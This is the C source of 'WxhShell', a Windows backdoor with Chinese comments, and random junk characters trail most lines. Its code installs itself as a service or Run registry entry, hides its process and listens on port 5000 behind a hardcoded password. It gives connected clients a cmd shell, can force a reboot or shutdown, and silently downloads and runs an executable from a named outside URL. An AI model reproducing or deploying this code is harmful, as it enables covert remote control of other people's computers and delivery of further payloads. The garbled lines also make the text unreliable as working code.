    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }a@ZFk_>  
    else { oD,f5Ci-  
    closesocket(wsh); 2Up1 FFRx  
    ExitThread(0); E?|"?R,,,  
    } 8ID fYJ  
    break; xw-x<7  
    } %-@`|  
  // 获取shell ;czMsHu0X  
  case 's': { \(_FGa4j  
    CmdShell(wsh); >8;Co]::kx  
    closesocket(wsh); bu"R2~sb  
    ExitThread(0); P>%\pCJ])  
    break; VHX&#vm*  
  } ~o`I[-g)  
  // 退出 d>:(>@wz  
  case 'x': { v%3mhk#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m`UNdFS  
    CloseIt(wsh); .)^@[yrkz  
    break; $NP5Z0v7  
    } ' pOtd7Vr  
  // 离开 E"iH$NN  
  case 'q': { BDY@&vF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "|pNS)  
    closesocket(wsh); xKKL4ws  
    WSACleanup(); T{u!4Yu  
    exit(1); 9&5\L  
    break; TEOV>Tt  
        } We3*WsX\  
  } QLo^6S5!  
  } z^9Yoqog  
W?{:HV  
  // 提示信息 Ltpd:c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qOz,iR?}  
} BM{GSX  
  } x Yr-,$/  
Okca6=2"  
  return; #"d.D7nA  
} _GK^7}u  
70&v`"  
// shell模块句柄 (+>~6SE  
int CmdShell(SOCKET sock) xEaRuH c  
{ UC^&& 2maI  
STARTUPINFO si; w.J[3m/  
ZeroMemory(&si,sizeof(si)); -yeQQ4b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H V<|eL #  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [8.ufpZ  
PROCESS_INFORMATION ProcessInfo; c;e-[F7  
char cmdline[]="cmd"; @lAOi1m,,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @~fg[)7M  
  return 0; I#@iA!  
} 'P}"ZHW  
y|q4d(P.  
// 自身启动模式 8rXq-V_u  
int StartFromService(void) .%`|vGF  
{ tx&>Eo  
typedef struct uOc>~ITPS  
{ 0IBVR,q  
  DWORD ExitStatus; JU:!lyd  
  DWORD PebBaseAddress; PC/fb-J  
  DWORD AffinityMask; wKum{X8  
  DWORD BasePriority; :ORCsl6-  
  ULONG UniqueProcessId; ]R}#3(]1  
  ULONG InheritedFromUniqueProcessId; zc]F  
}   PROCESS_BASIC_INFORMATION; 0m)["g4  
shxr^   
PROCNTQSIP NtQueryInformationProcess; _`/0/69  
hSaS2RLF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fOJk+? c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +-'qI_xo  
u1` 8f]qt  
  HANDLE             hProcess; 7GfgW02  
  PROCESS_BASIC_INFORMATION pbi; "%urT/F v&  
p*!@z|F>U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (U2G"  
  if(NULL == hInst ) return 0; Ol9U^  
8Nxf2i5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cGkl=-oQ'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V|}9d:&O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0ang~_  
/}2 bsiJT  
  if (!NtQueryInformationProcess) return 0; s6Bt)8A  
dpZ7eJ   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &[*_ -  
  if(!hProcess) return 0; E{T\51V]%  
_|DP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2P$lXGjh  
N$pwTyk  
  CloseHandle(hProcess); 'nP'MA9b;a  
)oTEB#J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y;0.P?Il"  
if(hProcess==NULL) return 0; - c<<A.X  
Mn>dI@/gM  
HMODULE hMod; E}k#-+u<S4  
char procName[255]; @[=*w`1  
unsigned long cbNeeded; wuzz Wq  
"c!s\iuBU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kjaz{&P  
bw%1*;n)  
  CloseHandle(hProcess); *^Zt5 zk  
g ywI@QD%#  
if(strstr(procName,"services")) return 1; // 以服务启动 W{ eu_  
~(aq3ngo.  
  return 0; // 注册表启动 bIp;$ZHy`K  
} &@dMk4BH<  
W:(:hT6`j9  
// 主模块 U%oI*  
int StartWxhshell(LPSTR lpCmdLine) *!Am6\+  
{ C| Mh<,~ E  
  SOCKET wsl; ~|DF-t V  
BOOL val=TRUE; ?b#?Vz  
  int port=0; X'k w5P!sq  
  struct sockaddr_in door; <ya'L&  
v[Q)cqj/  
  if(wscfg.ws_autoins) Install(); GGJ_,S*  
_'I9rGlx3  
port=atoi(lpCmdLine); 1'aS2vB9  
N->;q^  
if(port<=0) port=wscfg.ws_port; _KZ(Yq>SdY  
:[ITjkhde0  
  WSADATA data; t<`ar@}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UD9h5PgT  
xje{ kx#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3\4Cg()  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1c}'o*K_%  
  door.sin_family = AF_INET; SbGp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W/\7m\ B  
  door.sin_port = htons(port); (XW#,=rYk  
wSAm[.1i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4k#B5^iJ  
closesocket(wsl); htF&VeIte  
return 1; CC)9Ks\  
} I7uYsjh@u  
3/[=  
  if(listen(wsl,2) == INVALID_SOCKET) { )j9FB  
closesocket(wsl); S;t~"87v*  
return 1; ]-}a{z  
} ;zCHEz  
  Wxhshell(wsl); TM"-X\e~{  
  WSACleanup(); -"cN9RF  
yr=r? h}  
return 0; *,R e&N8  
#ERn 8k  
} 7q\c\qL  
"(xS  
// 以NT服务方式启动 V`H#|8\i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }`MO}Pz  
{ ]Yj>~k:K  
DWORD   status = 0; !e7vc[N  
  DWORD   specificError = 0xfffffff; eT|_0kx1  
.Gv~e!a8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gSGe]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^s?wnEo;j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x$Dv&4  
  serviceStatus.dwWin32ExitCode     = 0; }+lxj a]C  
  serviceStatus.dwServiceSpecificExitCode = 0;  jPs+i  
  serviceStatus.dwCheckPoint       = 0; iY($O/G[+  
  serviceStatus.dwWaitHint       = 0; W+eN%w5  
|`okIqp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q-RGplx  
  if (hServiceStatusHandle==0) return; c[YjGx  
68!]q(!6F  
status = GetLastError(); [x)e6p)  
  if (status!=NO_ERROR) 4tC_W!?$t  
{ P~ykC{nD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N\fT6#5B  
    serviceStatus.dwCheckPoint       = 0; Lg?'1dg  
    serviceStatus.dwWaitHint       = 0; ##5/%#eZ  
    serviceStatus.dwWin32ExitCode     = status; "4`%NA  
    serviceStatus.dwServiceSpecificExitCode = specificError; "h2Ny#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZX0c_Mk=  
    return; n~ql]Ln  
  } HDEG/k/~m  
W<4\4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J v#^GNm  
  serviceStatus.dwCheckPoint       = 0; Dr 1F|[  
  serviceStatus.dwWaitHint       = 0; "uCQm '  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f+920/>!Z  
} sfV.X:ev  
R]Oy4U,f  
// 处理NT服务事件,比如:启动、停止 nADd,|xD3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wa(S20y F  
{ uI2'jEjO  
switch(fdwControl) @>]3xHE6#=  
{ ]Yg EnZ  
case SERVICE_CONTROL_STOP: a%!XLyq  
  serviceStatus.dwWin32ExitCode = 0; Lm|X5RVq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wDO5Zew!  
  serviceStatus.dwCheckPoint   = 0; !d\GD8|4  
  serviceStatus.dwWaitHint     = 0; ak>NKK8P  
  { $at|1+bQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f>dkT'4  
  } ?U08A{ c  
  return; :Y>] 6  
case SERVICE_CONTROL_PAUSE: 5@$4.BGcF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h*UUtLi%WU  
  break; K]8wW;N4  
case SERVICE_CONTROL_CONTINUE: rbPs~C-[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qJU)d  
  break; *]WXM.R8  
case SERVICE_CONTROL_INTERROGATE: ?MM3LA! <  
  break; t3$gwO$  
}; n-3j$x1Ne  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lM^!^6=v0l  
} c)MR+'d\WO  
_|3TC1N$n  
// 标准应用程序主函数 U!:!]DX(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6;frIl;  
{ `?^w  
(V.,~t@  
// 获取操作系统版本 WWW#s gM%  
OsIsNt=GetOsVer(); :IVMTdYf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); / 7XdV  
gvqd 1?0w  
  // 从命令行安装 07Q[L'}y@  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z,!Xxv;4  
^>8]3@ Nh  
  // 下载执行文件 KM}4^Qc  
if(wscfg.ws_downexe) { <hZ}34?]i2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >Y-TwD aE  
  WinExec(wscfg.ws_filenam,SW_HIDE); l$VxE'&LQ  
} cJ##K/es  
4Sstg57x~  
if(!OsIsNt) { N~; khS]  
// 如果时win9x,隐藏进程并且设置为注册表启动 {L4>2rF  
HideProc(); M1 ]6lg[si  
StartWxhshell(lpCmdLine); Eqmv`Z [_  
} M=[q+A  
else ccn`f]5w  
  if(StartFromService()) E[3FdX8  
  // 以服务方式启动 w}W@M,.^  
  StartServiceCtrlDispatcher(DispatchTable); 2Cd --W+=  
else 6+ $d  
  // 普通方式启动 @SC-vc  
  StartWxhshell(lpCmdLine); q"+ q  
Stw+Dm\!  
return 0; r($_>TS&"  
} <a+eF}*2  
4/2RfDp  
@ojg`!,  
Ukx/jNyYv  
=========================================== /%uZKG P  
\_gp50(3  
lv00sa2z  
uZ/7t(fy  
^\ vfos  
=tS[&6/  
" JMirz~%ib  
q: Bt]2x  
#include <stdio.h> wWJQ ~i?  
#include <string.h> `rz`3:ZH  
#include <windows.h> ''(fH$pY  
#include <winsock2.h> !bZhj3.  
#include <winsvc.h> }_a +X  
#include <urlmon.h> +EST58  
lPRdwg-  
#pragma comment (lib, "Ws2_32.lib") ;&+[W(7Sy  
#pragma comment (lib, "urlmon.lib") ZL-uwI!`D  
b`h%W"|2L  
#define MAX_USER   100 // 最大客户端连接数 ?AV&@EX2C  
#define BUF_SOCK   200 // sock buffer hl6,#2$  
#define KEY_BUFF   255 // 输入 buffer Y!Uu173  
NJ|NJ p&0  
#define REBOOT     0   // 重启 85r)>aCMn  
#define SHUTDOWN   1   // 关机 M^j<J0(O  
O+G~Qp0b>  
#define DEF_PORT   5000 // 监听端口 e9~cBG|  
_`bS[%CJ  
#define REG_LEN     16   // 注册表键长度 *[d~Nk%Y$  
#define SVC_LEN     80   // NT服务名长度 N?qIpv/a.  
IWjR0  
// 从dll定义API -`zG_]=-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o &BPG@n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g2g`,"T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bii6Z@kS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5TXg;v#Z  
-Wl)Lez@  
// wxhshell配置信息 gB(9vhj $  
struct WSCFG { ;Y Dv.I  
  int ws_port;         // 监听端口 !( kX~S  
  char ws_passstr[REG_LEN]; // 口令 JQ*D   
  int ws_autoins;       // 安装标记, 1=yes 0=no .cw!ls7d  
  char ws_regname[REG_LEN]; // 注册表键名 g~~m' ^  
  char ws_svcname[REG_LEN]; // 服务名 {iA^rv|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '"oo;`g7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \Os:6U=X-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^F>4~68d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $Llta,ULE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E9^(0\Z I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;LHDh_.pX  
8ou e-:/a  
}; ,+~2&>wj  
N1PECLS?  
// default Wxhshell configuration ?K0U3V$s  
struct WSCFG wscfg={DEF_PORT, Af`z/:0<  
    "xuhuanlingzhe", Gu2_dT  
    1, a]`itjL^  
    "Wxhshell", #-,g&)`]  
    "Wxhshell", a IQOs  
            "WxhShell Service", /E)9v$!  
    "Wrsky Windows CmdShell Service", ; vMn/  
    "Please Input Your Password: ", _HwpPRVP/  
  1, KL "Y!PN:  
  "http://www.wrsky.com/wxhshell.exe", p:B ]Ft  
  "Wxhshell.exe" sN-oEqS  
    }; jM*AL X  
Y=9j2 ]t  
// 消息定义模块 RYt6=R+f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Yr+d1(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \4aKLr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r]9e^  
char *msg_ws_ext="\n\rExit."; &RWM<6JP  
char *msg_ws_end="\n\rQuit."; Fqo&3+J4  
char *msg_ws_boot="\n\rReboot..."; A]j}'  
char *msg_ws_poff="\n\rShutdown..."; ~^x-ym5  
char *msg_ws_down="\n\rSave to "; pzg&/m&F`  
~ Yl<S(/4  
char *msg_ws_err="\n\rErr!"; $Buf#8)F*  
char *msg_ws_ok="\n\rOK!"; AQe!Sqg'  
 [@<G+j  
char ExeFile[MAX_PATH]; Ae6("Oid  
int nUser = 0; ~6kJ~R4  
HANDLE handles[MAX_USER]; %]#VdS|N  
int OsIsNt; '6X%=f'^b  
?I\v0H*  
SERVICE_STATUS       serviceStatus; ]% Y\ZIS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YN^T$,*  
:c=v}  
// 函数声明 -AC`q/bCD  
int Install(void); 6|^0_6_  
int Uninstall(void); odpUM@OAW  
int DownloadFile(char *sURL, SOCKET wsh); H*rx{F?  
int Boot(int flag); V!xwb:J  
void HideProc(void); 5DOE3T`^Oc  
int GetOsVer(void); Xem5@ (u  
int Wxhshell(SOCKET wsl); @zrNN>  
void TalkWithClient(void *cs); &n|*uLn  
int CmdShell(SOCKET sock); ZBJ3VK  
int StartFromService(void); s^cc@C  
int StartWxhshell(LPSTR lpCmdLine); %[ /<+  
# k9 <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fu%X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 72,"Cj  
sT`^ljp4  
// 数据结构和表定义 SX+4 HJB  
SERVICE_TABLE_ENTRY DispatchTable[] = i3PKqlp.  
{ <0 uOq  
{wscfg.ws_svcname, NTServiceMain}, *,lh:  
{NULL, NULL}  M6Pw /S!  
}; 7~b!4x|Z  
CZ3].DA|z  
// 自我安装 BS7J#8cu  
int Install(void) ]*;F. pZ  
{ 8bOT*^b$H  
  char svExeFile[MAX_PATH]; '9J*6uXf.  
  HKEY key; @o#+5P  
  strcpy(svExeFile,ExeFile); %!y89x=E  
=IHje;s  
// 如果是win9x系统,修改注册表设为自启动 jK3\K/ob(  
if(!OsIsNt) { S0LszW)e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -e ml  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "K?Q  
  RegCloseKey(key); b/<mRQ{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { os$nL'sq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p<5!0 2yQ\  
  RegCloseKey(key); t3b@P4c \  
  return 0; VVuR+=.&  
    } 8!zb F<W9  
  } -(IC~   
} EGS%C%>l/o  
else { n"G`b  
|RhM| i  
// 如果是NT以上系统,安装为系统服务 ?`AGF%zp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6GINmkA  
if (schSCManager!=0) <>=mCZ2  
{ ZL_[4 Y  
  SC_HANDLE schService = CreateService 8h.V4/?  
  ( `Ko[r R+  
  schSCManager, 6D/'`  
  wscfg.ws_svcname, 3nFt1E   
  wscfg.ws_svcdisp, ;7rv  
  SERVICE_ALL_ACCESS, o\6iq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [B9;?G  
  SERVICE_AUTO_START, Gt~JA0+C)7  
  SERVICE_ERROR_NORMAL, w%xCTeK[  
  svExeFile, !>g:Si"  
  NULL, ?CY1]d  
  NULL, j*zD0I]  
  NULL, mX\ ;oV!  
  NULL, ^Mytp>7  
  NULL Q~Ea8UT. #  
  ); -]XP2}#d  
  if (schService!=0) N 8t=@~]  
  { ~V+l_ :  
  CloseServiceHandle(schService); YYUe)j{T  
  CloseServiceHandle(schSCManager); (lWq[0^N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l\Xd.H" j,  
  strcat(svExeFile,wscfg.ws_svcname); m{(+6-8|m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g7V_ [R(6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I>"Ci(N  
  RegCloseKey(key); h$fe -G#  
  return 0; urZ8j?}c  
    } MR;X&Up6!  
  } ^:cRp9l"7  
  CloseServiceHandle(schSCManager); FFzH!=7T?  
} 12( wj6Q  
} )#[|hb=o  
oH-8r:{  
return 1; :.&{Z"  
} }5n  
n1J]p#nCa.  
// 自我卸载 z<n-Gzwk  
int Uninstall(void) 5D' bJ6PO  
{ !%S4 n  
  HKEY key; )[&zCq Dc  
A3R#z]Ub  
if(!OsIsNt) { M_1;$fWq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4hAJ!7[A.  
  RegDeleteValue(key,wscfg.ws_regname); ZGz|m0b (  
  RegCloseKey(key); IeTdN_8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @d&H]5  
  RegDeleteValue(key,wscfg.ws_regname); qd6fU^)i  
  RegCloseKey(key); BIMKsF Zt  
  return 0; p'Bm8=AwD  
  } qL 5>o>J  
} `;%ZN  
} {j SmoA  
else { .6.^G  
;y1Q6eN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?F@%S3h.  
if (schSCManager!=0) -x]`DQUg  
{ |b.z*G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a.kbov(  
  if (schService!=0) Pe ~c  
  { }[!92WS/ee  
  if(DeleteService(schService)!=0) { 82:Wvp6  
  CloseServiceHandle(schService); h @/;`E[  
  CloseServiceHandle(schSCManager); WUoOGbA `  
  return 0; M$S]}   
  } uA~slS Z  
  CloseServiceHandle(schService); ;L"!I3dM)  
  } Mr3-q  
  CloseServiceHandle(schSCManager); qx)?buAij  
} ALT^8c&K  
} P3o @gkXP  
wpo1  
return 1; 07_oP(;jT  
} fZN><3MO>  
)&W**!(C  
// 从指定url下载文件 L^0v\  
int DownloadFile(char *sURL, SOCKET wsh) *yaw$oB  
{ v#oi0-9o[  
  HRESULT hr; 4^Rd{'mt  
char seps[]= "/"; o(G"k  
char *token; uO(w1Q"^  
char *file; P,z:Z| }8  
char myURL[MAX_PATH]; p]gT&[iJ  
char myFILE[MAX_PATH]; vF={9G  
pbBoy+.>  
strcpy(myURL,sURL); /b[2lTC-e  
  token=strtok(myURL,seps); "IjI'c  
  while(token!=NULL) 2xxB\J  
  { uh3) 0.nR  
    file=token; )e%}b -I'r  
  token=strtok(NULL,seps); v}(6 <wnnS  
  } x_<qzlQt  
rpV1y$n<F  
GetCurrentDirectory(MAX_PATH,myFILE); w4};q%OBj  
strcat(myFILE, "\\"); S]>wc yy=n  
strcat(myFILE, file); [ !%R#+o=F  
  send(wsh,myFILE,strlen(myFILE),0); S-F o  
send(wsh,"...",3,0); ig#r4nQ=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ao.\  
  if(hr==S_OK) On_@HQ/FI  
return 0; bud&R4+  
else pbk$o{$`W  
return 1; /f{$I  
onei4c>@  
} 9U_ks[Qa  
E1V^}dn  
// 系统电源模块 |(R5e  
int Boot(int flag) F2I 5q C/  
{ Snw3`|Y~<  
  HANDLE hToken; Hh[Tw&J4  
  TOKEN_PRIVILEGES tkp; kBWrqZ6  
yt0,^*t_  
  if(OsIsNt) { %5'6Tj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S33j?+ Vs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0~WF{_0|  
    tkp.PrivilegeCount = 1; +OaUP*\Dd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tD=@SX'Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #;VA5<M8  
if(flag==REBOOT) { m.Lij!0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ) ]6h y9<  
  return 0; {,$rkwW  
} ~f>2U]F>5  
else { g}xQ6rd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^q[gxuL_  
  return 0; #CUz uk&  
} ~qVz)<  
  } ;@mRo`D`  
  else { uXZg1 F)  
if(flag==REBOOT) { 7 h=QW5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Tenf:Hm/k  
  return 0; W#F Q,+0)  
} "E*e2W  
else { wD \ZOn_J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k%'m*Tf  
  return 0; jQs>`P-CM  
} a>mMvc"  
} >7Jr^o#|_x  
0?Q_@Y  
return 1; oDB`iiBXQ  
} cDEJk?3+  
nA7M8HB  
// win9x进程隐藏模块 Td\o9  
void HideProc(void) ;^){|9@  
{ NaUr!s  
_s.;eHp,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k\r(=cex6  
  if ( hKernel != NULL ) _Q(g(p&  
  { G5.nPsuM   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G'z{b$?/[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yl&UM qI(  
    FreeLibrary(hKernel); ?Ke eHMu  
  }  UL@9W6  
xG2F!WeF  
return; wE\3$ s/{D  
} Zi\['2CG  
yCz|{=7"j  
// 获取操作系统版本 LtgXShp_!  
int GetOsVer(void) G[Lpe  
{ h@{_duu  
  OSVERSIONINFO winfo; '])2k@o@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9O.YOiW  
  GetVersionEx(&winfo); Y5q3T`x E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E; $+f  
  return 1; Z"-L[2E/{!  
  else a,t``'c;  
  return 0; Z)9g~g94  
} {svn=H /  
revF;l6->C  
// 客户端句柄模块 7%?jL9Vw  
int Wxhshell(SOCKET wsl) zSvgKmNY  
{ BQ</g* $;  
  SOCKET wsh; <+j)P4O4  
  struct sockaddr_in client;  $!@\  
  DWORD myID; g9fq5E<G  
3 voT^o  
  while(nUser<MAX_USER) zLw{ {|  
{ D#A~Nbc  
  int nSize=sizeof(client); #L}+H!Myh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Uggw-sRU  
  if(wsh==INVALID_SOCKET) return 1; C Wo1.pVw  
=QJRMF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <+#o BN  
if(handles[nUser]==0) )3<:tV8   
  closesocket(wsh); 6 9y;`15  
else xda; K~w  
  nUser++; AdZ;j6#  
  } ?rX]x8iP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T=a=B(  
RF!a//  
  return 0; w9RS)l2FQ  
} hJz):d>Im  
HBE.F&C88  
// 关闭 socket %%ae^*[!n  
void CloseIt(SOCKET wsh) pg+[y<B  
{ 5BkV aF7Th  
closesocket(wsh); ;{[>&4  
nUser--; l%R50aL  
ExitThread(0); {+<P:jbz;  
} 5m:i6,4  
+z9@:L  
// 客户端请求句柄 P|2E2=G  
void TalkWithClient(void *cs) jeyLL<  
{ l=N2lHU  
%ows BO+  
  SOCKET wsh=(SOCKET)cs; if;71ZE  
  char pwd[SVC_LEN]; 4Tc&IwR  
  char cmd[KEY_BUFF]; Lj\/Ji_  
char chr[1]; Hd7,ZHj3 ^  
int i,j; m@`8A  
1T_QX9  
  while (nUser < MAX_USER) { )Dp/('Z2  
"1q>At  
if(wscfg.ws_passstr) { +QM@VQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pu!dqF<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fhz*&JC#  
  //ZeroMemory(pwd,KEY_BUFF); 49Df?sx  
      i=0; ' /Bidb?  
  while(i<SVC_LEN) { ;?}l  
ki0V8]HP  
  // 设置超时 BYW^/B Y)  
  fd_set FdRead; ~m1P_`T  
  struct timeval TimeOut; FEPXuCb  
  FD_ZERO(&FdRead); to8X=80-3  
  FD_SET(wsh,&FdRead); 1CPjil*eb  
  TimeOut.tv_sec=8; p2J|Hl|  
  TimeOut.tv_usec=0; fl Jp4-nx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @cRZk`|1n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =z{JgD/  
o]{uc,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q1y/x@  
  pwd=chr[0]; @`-[;?>  
  if(chr[0]==0xd || chr[0]==0xa) { 6*l^1;U  
  pwd=0; M L7 \BT  
  break; ?6c-7QV  
  } .t&R>9cZ^  
  i++;  $rXh0g  
    } (qn2xrV  
*'"T$ib  
  // 如果是非法用户,关闭 socket '^%~JyU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bW#@OrsS  
} 4> ^K:/y  
VN4yn| f/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N3t0-6$_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); krq/7|  
(F7_S*  
while(1) { RWgDD;&_[a  
3:"]Rn([P  
  ZeroMemory(cmd,KEY_BUFF); %or,{mmiM:  
!KKT[28v  
      // 自动支持客户端 telnet标准   A392=:N+Q  
  j=0; UV}73Sp  
  while(j<KEY_BUFF) { D7]# Xk2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); , "jbq~  
  cmd[j]=chr[0]; O2{)WWOT  
  if(chr[0]==0xa || chr[0]==0xd) { %xwIt~Y  
  cmd[j]=0; Nf+b" &Zh`  
  break; _u"nvgVz9  
  } X u"R^  
  j++; /wQL  
    } }14 {2=!Q  
rA0,`}8\  
  // 下载文件 71#I5*8  
  if(strstr(cmd,"http://")) { eZ a:o1y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "Th$#3  
  if(DownloadFile(cmd,wsh)) v]2S`ffP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4vK8kkW1  
  else Dz!fpE'L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fsO9EEn7 X  
  } CZ 2`H[8  
  else { "%WgT2)m.  
HQ!Xj .y  
    switch(cmd[0]) { U5Erm6U:  
  +i `*lBup$  
